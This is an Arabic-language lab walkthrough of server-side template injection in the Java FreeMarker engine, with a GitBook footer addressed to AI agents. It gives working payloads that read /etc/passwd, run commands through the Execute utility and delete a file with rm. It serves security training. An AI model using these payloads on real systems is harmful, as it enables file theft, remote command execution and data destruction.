> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/ssti/ssti-using-java-template-engine-documentation.md).

# SSTI باستخدام توثيق محرك قوالب Java

### حقن القالب من جانب الخادم باستخدام التوثيق

يعرض هذا المختبر ثغرة **SSTI**. الهدف هو تحديد محرك القوالب المستخدم، والرجوع إلى توثيقه لفهم كيفية تنفيذ شيفرة عشوائية، ثم حذف الملف الأخلاقي txt في دليل Carlos. / بيانات الاعتماد المقدمة هي: **content-manager: C0nt3ntM4n4g3r**.

<figure><img src="/files/8a70947fbe2242ac54b2d8a39756c55a9d4dd123" alt=""><figcaption></figcaption></figure>

### **تحليل القالب**

في التعليقات، يتم تقديم تعبير من قبل المحرك:

* اختبار بسيط:

```java
${7*7}
```

<figure><img src="/files/1d1eb0693bb98ddf28424d423fe984790343380f" alt=""><figcaption></figcaption></figure>

* يكشف خطأ أن المحرك المستخدم هو **فري ماركر (Java)**.
* تعبير جديد مثل `${7*a}` يؤكد تفسير القالب.

```java
${7*a}
```

<figure><img src="/files/75d44b94e962d380e68f78d3cb180b6477aaaf85" alt=""><figcaption></figcaption></figure>

#### **قراءة الملفات**

لقراءة ملف /etc/passwd، تُستخدم الطرق المتاحة عبر الكائن:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```

<figure><img src="/files/9c3c84d7024a0abc4860b081496e0ab7d9266f30" alt=""><figcaption></figcaption></figure>

#### **تنفيذ الأوامر**

يسمح Freemarker باستدعاء `تنفيذ` أداة مساعدة:

```java
${"freemarker.template.utility.Execute"?new()("id") }
```

<figure><img src="/files/d6c47b5534e019e22ad0a14e2b08045d71054378" alt=""><figcaption></figcaption></figure>

#### **تم حذف الملف الهدف**

لإزالة moral.txt من دليل Carlos:

```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt") }
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/ssti/ssti-using-java-template-engine-documentation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
